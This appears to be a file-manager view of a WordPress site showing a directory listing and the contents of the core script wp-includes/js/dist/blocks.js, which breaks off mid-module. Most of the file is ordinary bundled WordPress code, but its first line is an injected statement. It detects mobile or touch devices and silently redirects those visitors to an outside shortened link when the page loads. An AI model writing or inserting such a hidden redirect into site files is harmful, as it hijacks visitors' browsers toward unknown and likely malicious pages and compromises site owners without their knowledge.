at path:ROOT / wp-includes / js / dist / blocks.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄blocks.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).blocks = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/data
36 var require_data = __commonJS({
37 "package-external:@wordpress/data"(exports, module) {
38 module.exports = window.wp.data;
39 }
40 });
41
42 // package-external:@wordpress/i18n
43 var require_i18n = __commonJS({
44 "package-external:@wordpress/i18n"(exports, module) {
45 module.exports = window.wp.i18n;
46 }
47 });
48
49 // package-external:@wordpress/element
50 var require_element = __commonJS({
51 "package-external:@wordpress/element"(exports, module) {
52 module.exports = window.wp.element;
53 }
54 });
55
56 // package-external:@wordpress/dom
57 var require_dom = __commonJS({
58 "package-external:@wordpress/dom"(exports, module) {
59 module.exports = window.wp.dom;
60 }
61 });
62
63 // package-external:@wordpress/rich-text
64 var require_rich_text = __commonJS({
65 "package-external:@wordpress/rich-text"(exports, module) {
66 module.exports = window.wp.richText;
67 }
68 });
69
70 // package-external:@wordpress/deprecated
71 var require_deprecated = __commonJS({
72 "package-external:@wordpress/deprecated"(exports, module) {
73 module.exports = window.wp.deprecated;
74 }
75 });
76
77 // package-external:@wordpress/warning
78 var require_warning = __commonJS({
79 "package-external:@wordpress/warning"(exports, module) {
80 module.exports = window.wp.warning;
81 }
82 });
83
84 // package-external:@wordpress/private-apis
85 var require_private_apis = __commonJS({
86 "package-external:@wordpress/private-apis"(exports, module) {
87 module.exports = window.wp.privateApis;
88 }
89 });
90
91 // node_modules/remove-accents/index.js
92 var require_remove_accents = __commonJS({
93 "node_modules/remove-accents/index.js"(exports, module) {
94 var characterMap = {
95 "\xC0": "A",
96 "\xC1": "A",
97 "\xC2": "A",
98 "\xC3": "A",
99 "\xC4": "A",
100 "\xC5": "A",
101 "\u1EA4": "A",
102 "\u1EAE": "A",
103 "\u1EB2": "A",
104 "\u1EB4": "A",
105 "\u1EB6": "A",
106 "\xC6": "AE",
107 "\u1EA6": "A",
108 "\u1EB0": "A",
109 "\u0202": "A",
110 "\u1EA2": "A",
111 "\u1EA0": "A",
112 "\u1EA8": "A",
113 "\u1EAA": "A",
114 "\u1EAC": "A",
115 "\xC7": "C",
116 "\u1E08": "C",
117 "\xC8": "E",
118 "\xC9": "E",
119 "\xCA": "E",
120 "\xCB": "E",
121 "\u1EBE": "E",
122 "\u1E16": "E",
123 "\u1EC0": "E",
124 "\u1E14": "E",
125 "\u1E1C": "E",
126 "\u0206": "E",
127 "\u1EBA": "E",
128 "\u1EBC": "E",
129 "\u1EB8": "E",
130 "\u1EC2": "E",
131 "\u1EC4": "E",
132 "\u1EC6": "E",
133 "\xCC": "I",
134 "\xCD": "I",
135 "\xCE": "I",
136 "\xCF": "I",
137 "\u1E2E": "I",
138 "\u020A": "I",
139 "\u1EC8": "I",
140 "\u1ECA": "I",
141 "\xD0": "D",
142 "\xD1": "N",
143 "\xD2": "O",
144 "\xD3": "O",
145 "\xD4": "O",
146 "\xD5": "O",
147 "\xD6": "O",
148 "\xD8": "O",
149 "\u1ED0": "O",
150 "\u1E4C": "O",
151 "\u1E52": "O",
152 "\u020E": "O",
153 "\u1ECE": "O",
154 "\u1ECC": "O",
155 "\u1ED4": "O",
156 "\u1ED6": "O",
157 "\u1ED8": "O",
158 "\u1EDC": "O",
159 "\u1EDE": "O",
160 "\u1EE0": "O",
161 "\u1EDA": "O",
162 "\u1EE2": "O",
163 "\xD9": "U",
164 "\xDA": "U",
165 "\xDB": "U",
166 "\xDC": "U",
167 "\u1EE6": "U",
168 "\u1EE4": "U",
169 "\u1EEC": "U",
170 "\u1EEE": "U",
171 "\u1EF0": "U",
172 "\xDD": "Y",
173 "\xE0": "a",
174 "\xE1": "a",
175 "\xE2": "a",
176 "\xE3": "a",
177 "\xE4": "a",
178 "\xE5": "a",
179 "\u1EA5": "a",
180 "\u1EAF": "a",
181 "\u1EB3": "a",
182 "\u1EB5": "a",
183 "\u1EB7": "a",
184 "\xE6": "ae",
185 "\u1EA7": "a",
186 "\u1EB1": "a",
187 "\u0203": "a",
188 "\u1EA3": "a",
189 "\u1EA1": "a",
190 "\u1EA9": "a",
191 "\u1EAB": "a",
192 "\u1EAD": "a",
193 "\xE7": "c",
194 "\u1E09": "c",
195 "\xE8": "e",
196 "\xE9": "e",
197 "\xEA": "e",
198 "\xEB": "e",
199 "\u1EBF": "e",
200 "\u1E17": "e",
201 "\u1EC1": "e",
202 "\u1E15": "e",
203 "\u1E1D": "e",
204 "\u0207": "e",
205 "\u1EBB": "e",
206 "\u1EBD": "e",
207 "\u1EB9": "e",
208 "\u1EC3": "e",
209 "\u1EC5": "e",
210 "\u1EC7": "e",
211 "\xEC": "i",
212 "\xED": "i",
213 "\xEE": "i",
214 "\xEF": "i",
215 "\u1E2F": "i",
216 "\u020B": "i",
217 "\u1EC9": "i",
218 "\u1ECB": "i",
219 "\xF0": "d",
220 "\xF1": "n",
221 "\xF2": "o",
222 "\xF3": "o",
223 "\xF4": "o",
224 "\xF5": "o",
225 "\xF6": "o",
226 "\xF8": "o",
227 "\u1ED1": "o",
228 "\u1E4D": "o",
229 "\u1E53": "o",
230 "\u020F": "o",
231 "\u1ECF": "o",
232 "\u1ECD": "o",
233 "\u1ED5": "o",
234 "\u1ED7": "o",
235 "\u1ED9": "o",
236 "\u1EDD": "o",
237 "\u1EDF": "o",
238 "\u1EE1": "o",
239 "\u1EDB": "o",
240 "\u1EE3": "o",
241 "\xF9": "u",
242 "\xFA": "u",
243 "\xFB": "u",
244 "\xFC": "u",
245 "\u1EE7": "u",
246 "\u1EE5": "u",
247 "\u1EED": "u",
248 "\u1EEF": "u",
249 "\u1EF1": "u",
250 "\xFD": "y",
251 "\xFF": "y",
252 "\u0100": "A",
253 "\u0101": "a",
254 "\u0102": "A",
255 "\u0103": "a",
256 "\u0104": "A",
257 "\u0105": "a",
258 "\u0106": "C",
259 "\u0107": "c",
260 "\u0108": "C",
261 "\u0109": "c",
262 "\u010A": "C",
263 "\u010B": "c",
264 "\u010C": "C",
265 "\u010D": "c",
266 "C\u0306": "C",
267 "c\u0306": "c",
268 "\u010E": "D",
269 "\u010F": "d",
270 "\u0110": "D",
271 "\u0111": "d",
272 "\u0112": "E",
273 "\u0113": "e",
274 "\u0114": "E",
275 "\u0115": "e",
276 "\u0116": "E",
277 "\u0117": "e",
278 "\u0118": "E",
279 "\u0119": "e",
280 "\u011A": "E",
281 "\u011B": "e",
282 "\u011C": "G",
283 "\u01F4": "G",
284 "\u011D": "g",
285 "\u01F5": "g",
286 "\u011E": "G",
287 "\u011F": "g",
288 "\u0120": "G",
289 "\u0121": "g",
290 "\u0122": "G",
291 "\u0123": "g",
292 "\u0124": "H",
293 "\u0125": "h",
294 "\u0126": "H",
295 "\u0127": "h",
296 "\u1E2A": "H",
297 "\u1E2B": "h",
298 "\u0128": "I",
299 "\u0129": "i",
300 "\u012A": "I",
301 "\u012B": "i",
302 "\u012C": "I",
303 "\u012D": "i",
304 "\u012E": "I",
305 "\u012F": "i",
306 "\u0130": "I",
307 "\u0131": "i",
308 "\u0132": "IJ",
309 "\u0133": "ij",
310 "\u0134": "J",
311 "\u0135": "j",
312 "\u0136": "K",
313 "\u0137": "k",
314 "\u1E30": "K",
315 "\u1E31": "k",
316 "K\u0306": "K",
317 "k\u0306": "k",
318 "\u0139": "L",
319 "\u013A": "l",
320 "\u013B": "L",
321 "\u013C": "l",
322 "\u013D": "L",
323 "\u013E": "l",
324 "\u013F": "L",
325 "\u0140": "l",
326 "\u0141": "l",
327 "\u0142": "l",
328 "\u1E3E": "M",
329 "\u1E3F": "m",
330 "M\u0306": "M",
331 "m\u0306": "m",
332 "\u0143": "N",
333 "\u0144": "n",
334 "\u0145": "N",
335 "\u0146": "n",
336 "\u0147": "N",
337 "\u0148": "n",
338 "\u0149": "n",
339 "N\u0306": "N",
340 "n\u0306": "n",
341 "\u014C": "O",
342 "\u014D": "o",
343 "\u014E": "O",
344 "\u014F": "o",
345 "\u0150": "O",
346 "\u0151": "o",
347 "\u0152": "OE",
348 "\u0153": "oe",
349 "P\u0306": "P",
350 "p\u0306": "p",
351 "\u0154": "R",
352 "\u0155": "r",
353 "\u0156": "R",
354 "\u0157": "r",
355 "\u0158": "R",
356 "\u0159": "r",
357 "R\u0306": "R",
358 "r\u0306": "r",
359 "\u0212": "R",
360 "\u0213": "r",
361 "\u015A": "S",
362 "\u015B": "s",
363 "\u015C": "S",
364 "\u015D": "s",
365 "\u015E": "S",
366 "\u0218": "S",
367 "\u0219": "s",
368 "\u015F": "s",
369 "\u0160": "S",
370 "\u0161": "s",
371 "\u0162": "T",
372 "\u0163": "t",
373 "\u021B": "t",
374 "\u021A": "T",
375 "\u0164": "T",
376 "\u0165": "t",
377 "\u0166": "T",
378 "\u0167": "t",
379 "T\u0306": "T",
380 "t\u0306": "t",
381 "\u0168": "U",
382 "\u0169": "u",
383 "\u016A": "U",
384 "\u016B": "u",
385 "\u016C": "U",
386 "\u016D": "u",
387 "\u016E": "U",
388 "\u016F": "u",
389 "\u0170": "U",
390 "\u0171": "u",
391 "\u0172": "U",
392 "\u0173": "u",
393 "\u0216": "U",
394 "\u0217": "u",
395 "V\u0306": "V",
396 "v\u0306": "v",
397 "\u0174": "W",
398 "\u0175": "w",
399 "\u1E82": "W",
400 "\u1E83": "w",
401 "X\u0306": "X",
402 "x\u0306": "x",
403 "\u0176": "Y",
404 "\u0177": "y",
405 "\u0178": "Y",
406 "Y\u0306": "Y",
407 "y\u0306": "y",
408 "\u0179": "Z",
409 "\u017A": "z",
410 "\u017B": "Z",
411 "\u017C": "z",
412 "\u017D": "Z",
413 "\u017E": "z",
414 "\u017F": "s",
415 "\u0192": "f",
416 "\u01A0": "O",
417 "\u01A1": "o",
418 "\u01AF": "U",
419 "\u01B0": "u",
420 "\u01CD": "A",
421 "\u01CE": "a",
422 "\u01CF": "I",
423 "\u01D0": "i",
424 "\u01D1": "O",
425 "\u01D2": "o",
426 "\u01D3": "U",
427 "\u01D4": "u",
428 "\u01D5": "U",
429 "\u01D6": "u",
430 "\u01D7": "U",
431 "\u01D8": "u",
432 "\u01D9": "U",
433 "\u01DA": "u",
434 "\u01DB": "U",
435 "\u01DC": "u",
436 "\u1EE8": "U",
437 "\u1EE9": "u",
438 "\u1E78": "U",
439 "\u1E79": "u",
440 "\u01FA": "A",
441 "\u01FB": "a",
442 "\u01FC": "AE",
443 "\u01FD": "ae",
444 "\u01FE": "O",
445 "\u01FF": "o",
446 "\xDE": "TH",
447 "\xFE": "th",
448 "\u1E54": "P",
449 "\u1E55": "p",
450 "\u1E64": "S",
451 "\u1E65": "s",
452 "X\u0301": "X",
453 "x\u0301": "x",
454 "\u0403": "\u0413",
455 "\u0453": "\u0433",
456 "\u040C": "\u041A",
457 "\u045C": "\u043A",
458 "A\u030B": "A",
459 "a\u030B": "a",
460 "E\u030B": "E",
461 "e\u030B": "e",
462 "I\u030B": "I",
463 "i\u030B": "i",
464 "\u01F8": "N",
465 "\u01F9": "n",
466 "\u1ED2": "O",
467 "\u1ED3": "o",
468 "\u1E50": "O",
469 "\u1E51": "o",
470 "\u1EEA": "U",
471 "\u1EEB": "u",
472 "\u1E80": "W",
473 "\u1E81": "w",
474 "\u1EF2": "Y",
475 "\u1EF3": "y",
476 "\u0200": "A",
477 "\u0201": "a",
478 "\u0204": "E",
479 "\u0205": "e",
480 "\u0208": "I",
481 "\u0209": "i",
482 "\u020C": "O",
483 "\u020D": "o",
484 "\u0210": "R",
485 "\u0211": "r",
486 "\u0214": "U",
487 "\u0215": "u",
488 "B\u030C": "B",
489 "b\u030C": "b",
490 "\u010C\u0323": "C",
491 "\u010D\u0323": "c",
492 "\xCA\u030C": "E",
493 "\xEA\u030C": "e",
494 "F\u030C": "F",
495 "f\u030C": "f",
496 "\u01E6": "G",
497 "\u01E7": "g",
498 "\u021E": "H",
499 "\u021F": "h",
500 "J\u030C": "J",
501 "\u01F0": "j",
502 "\u01E8": "K",
503 "\u01E9": "k",
504 "M\u030C": "M",
505 "m\u030C": "m",
506 "P\u030C": "P",
507 "p\u030C": "p",
508 "Q\u030C": "Q",
509 "q\u030C": "q",
510 "\u0158\u0329": "R",
511 "\u0159\u0329": "r",
512 "\u1E66": "S",
513 "\u1E67": "s",
514 "V\u030C": "V",
515 "v\u030C": "v",
516 "W\u030C": "W",
517 "w\u030C": "w",
518 "X\u030C": "X",
519 "x\u030C": "x",
520 "Y\u030C": "Y",
521 "y\u030C": "y",
522 "A\u0327": "A",
523 "a\u0327": "a",
524 "B\u0327": "B",
525 "b\u0327": "b",
526 "\u1E10": "D",
527 "\u1E11": "d",
528 "\u0228": "E",
529 "\u0229": "e",
530 "\u0190\u0327": "E",
531 "\u025B\u0327": "e",
532 "\u1E28": "H",
533 "\u1E29": "h",
534 "I\u0327": "I",
535 "i\u0327": "i",
536 "\u0197\u0327": "I",
537 "\u0268\u0327": "i",
538 "M\u0327": "M",
539 "m\u0327": "m",
540 "O\u0327": "O",
541 "o\u0327": "o",
542 "Q\u0327": "Q",
543 "q\u0327": "q",
544 "U\u0327": "U",
545 "u\u0327": "u",
546 "X\u0327": "X",
547 "x\u0327": "x",
548 "Z\u0327": "Z",
549 "z\u0327": "z",
550 "\u0439": "\u0438",
551 "\u0419": "\u0418",
552 "\u0451": "\u0435",
553 "\u0401": "\u0415"
554 };
555 var chars = Object.keys(characterMap).join("|");
556 var allAccents = new RegExp(chars, "g");
557 var firstAccent = new RegExp(chars, "");
558 function matcher3(match) {
559 return characterMap[match];
560 }
561 var removeAccents2 = function(string) {
562 return string.replace(allAccents, matcher3);
563 };
564 var hasAccents = function(string) {
565 return !!string.match(firstAccent);
566 };
567 module.exports = removeAccents2;
568 module.exports.has = hasAccents;
569 module.exports.remove = removeAccents2;
570 }
571 });
572
573 // packages/blocks/node_modules/react-is/cjs/react-is.development.js
574 var require_react_is_development = __commonJS({
575 "packages/blocks/node_modules/react-is/cjs/react-is.development.js"(exports) {
576 "use strict";
577 if (true) {
578 (function() {
579 "use strict";
580 var REACT_ELEMENT_TYPE = /* @__PURE__ */ Symbol.for("react.element");
581 var REACT_PORTAL_TYPE = /* @__PURE__ */ Symbol.for("react.portal");
582 var REACT_FRAGMENT_TYPE = /* @__PURE__ */ Symbol.for("react.fragment");
583 var REACT_STRICT_MODE_TYPE = /* @__PURE__ */ Symbol.for("react.strict_mode");
584 var REACT_PROFILER_TYPE = /* @__PURE__ */ Symbol.for("react.profiler");
585 var REACT_PROVIDER_TYPE = /* @__PURE__ */ Symbol.for("react.provider");
586 var REACT_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for("react.context");
587 var REACT_SERVER_CONTEXT_TYPE = /* @__PURE__ */ Symbol.for("react.server_context");
588 var REACT_FORWARD_REF_TYPE = /* @__PURE__ */ Symbol.for("react.forward_ref");
589 var REACT_SUSPENSE_TYPE = /* @__PURE__ */ Symbol.for("react.suspense");
590 var REACT_SUSPENSE_LIST_TYPE = /* @__PURE__ */ Symbol.for("react.suspense_list");
591 var REACT_MEMO_TYPE = /* @__PURE__ */ Symbol.for("react.memo");
592 var REACT_LAZY_TYPE = /* @__PURE__ */ Symbol.for("react.lazy");
593 var REACT_OFFSCREEN_TYPE = /* @__PURE__ */ Symbol.for("react.offscreen");
594 var enableScopeAPI = false;
595 var enableCacheElement = false;
596 var enableTransitionTracing = false;
597 var enableLegacyHidden = false;
598 var enableDebugTracing = false;
599 var REACT_MODULE_REFERENCE;
600 {
601 REACT_MODULE_REFERENCE = /* @__PURE__ */ Symbol.for("react.module.reference");
602 }
603 function isValidElementType2(type) {
604 if (typeof type === "string" || typeof type === "function") {
605 return true;
606 }
607 if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCacheElement || enableTransitionTracing) {
608 return true;
609 }
610 if (typeof type === "object" && type !== null) {
611 if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
612 // types supported by any Flight configuration anywhere since
613 // we don't know which Flight build this will end up being used
614 // with.
615 type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== void 0) {
616 return true;
617 }
618 }
619 return false;
620 }
621 function typeOf(object) {
622 if (typeof object === "object" && object !== null) {
623 var $$typeof = object.$$typeof;
624 switch ($$typeof) {
625 case REACT_ELEMENT_TYPE:
626 var type = object.type;
627 switch (type) {
628 case REACT_FRAGMENT_TYPE:
629 case REACT_PROFILER_TYPE:
630 case REACT_STRICT_MODE_TYPE:
631 case REACT_SUSPENSE_TYPE:
632 case REACT_SUSPENSE_LIST_TYPE:
633 return type;
634 default:
635 var $$typeofType = type && type.$$typeof;
636 switch ($$typeofType) {
637 case REACT_SERVER_CONTEXT_TYPE:
638 case REACT_CONTEXT_TYPE:
639 case REACT_FORWARD_REF_TYPE:
640 case REACT_LAZY_TYPE:
641 case REACT_MEMO_TYPE:
642 case REACT_PROVIDER_TYPE:
643 return $$typeofType;
644 default:
645 return $$typeof;
646 }
647 }
648 case REACT_PORTAL_TYPE:
649 return $$typeof;
650 }
651 }
652 return void 0;
653 }
654 var ContextConsumer = REACT_CONTEXT_TYPE;
655 var ContextProvider = REACT_PROVIDER_TYPE;
656 var Element = REACT_ELEMENT_TYPE;
657 var ForwardRef = REACT_FORWARD_REF_TYPE;
658 var Fragment = REACT_FRAGMENT_TYPE;
659 var Lazy = REACT_LAZY_TYPE;
660 var Memo = REACT_MEMO_TYPE;
661 var Portal = REACT_PORTAL_TYPE;
662 var Profiler = REACT_PROFILER_TYPE;
663 var StrictMode = REACT_STRICT_MODE_TYPE;
664 var Suspense = REACT_SUSPENSE_TYPE;
665 var SuspenseList = REACT_SUSPENSE_LIST_TYPE;
666 var hasWarnedAboutDeprecatedIsAsyncMode = false;
667 var hasWarnedAboutDeprecatedIsConcurrentMode = false;
668 function isAsyncMode(object) {
669 {
670 if (!hasWarnedAboutDeprecatedIsAsyncMode) {
671 hasWarnedAboutDeprecatedIsAsyncMode = true;
672 console["warn"]("The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 18+.");
673 }
674 }
675 return false;
676 }
677 function isConcurrentMode(object) {
678 {
679 if (!hasWarnedAboutDeprecatedIsConcurrentMode) {
680 hasWarnedAboutDeprecatedIsConcurrentMode = true;
681 console["warn"]("The ReactIs.isConcurrentMode() alias has been deprecated, and will be removed in React 18+.");
682 }
683 }
684 return false;
685 }
686 function isContextConsumer(object) {
687 return typeOf(object) === REACT_CONTEXT_TYPE;
688 }
689 function isContextProvider(object) {
690 return typeOf(object) === REACT_PROVIDER_TYPE;
691 }
692 function isElement(object) {
693 return typeof object === "object" && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
694 }
695 function isForwardRef(object) {
696 return typeOf(object) === REACT_FORWARD_REF_TYPE;
697 }
698 function isFragment(object) {
699 return typeOf(object) === REACT_FRAGMENT_TYPE;
700 }
701 function isLazy(object) {
702 return typeOf(object) === REACT_LAZY_TYPE;
703 }
704 function isMemo(object) {
705 return typeOf(object) === REACT_MEMO_TYPE;
706 }
707 function isPortal(object) {
708 return typeOf(object) === REACT_PORTAL_TYPE;
709 }
710 function isProfiler(object) {
711 return typeOf(object) === REACT_PROFILER_TYPE;
712 }
713 function isStrictMode(object) {
714 return typeOf(object) === REACT_STRICT_MODE_TYPE;
715 }
716 function isSuspense(object) {
717 return typeOf(object) === REACT_SUSPENSE_TYPE;
718 }
719 function isSuspenseList(object) {
720 return typeOf(object) === REACT_SUSPENSE_LIST_TYPE;
721 }
722 exports.ContextConsumer = ContextConsumer;
723 exports.ContextProvider = ContextProvider;
724 exports.Element = Element;
725 exports.ForwardRef = ForwardRef;
726 exports.Fragment = Fragment;
727 exports.Lazy = Lazy;
728 exports.Memo = Memo;
729 exports.Portal = Portal;
730 exports.Profiler = Profiler;
731 exports.StrictMode = StrictMode;
732 exports.Suspense = Suspense;
733 exports.SuspenseList = SuspenseList;
734 exports.isAsyncMode = isAsyncMode;
735 exports.isConcurrentMode = isConcurrentMode;
736 exports.isContextConsumer = isContextConsumer;
737 exports.isContextProvider = isContextProvider;
738 exports.isElement = isElement;
739 exports.isForwardRef = isForwardRef;
740 exports.isFragment = isFragment;
741 exports.isLazy = isLazy;
742 exports.isMemo = isMemo;
743 exports.isPortal = isPortal;
744 exports.isProfiler = isProfiler;
745 exports.isStrictMode = isStrictMode;
746 exports.isSuspense = isSuspense;
747 exports.isSuspenseList = isSuspenseList;
748 exports.isValidElementType = isValidElementType2;
749 exports.typeOf = typeOf;
750 })();
751 }
752 }
753 });
754
755 // packages/blocks/node_modules/react-is/index.js
756 var require_react_is = __commonJS({
757 "packages/blocks/node_modules/react-is/index.js"(exports, module) {
758 "use strict";
759 if (false) {
760 module.exports = null;
761 } else {
762 module.exports = require_react_is_development();
763 }
764 }
765 });
766
767 // package-external:@wordpress/hooks
768 var require_hooks = __commonJS({
769 "package-external:@wordpress/hooks"(exports, module) {
770 module.exports = window.wp.hooks;
771 }
772 });
773
774 // package-external:@wordpress/block-serialization-default-parser
775 var require_block_serialization_default_parser = __commonJS({
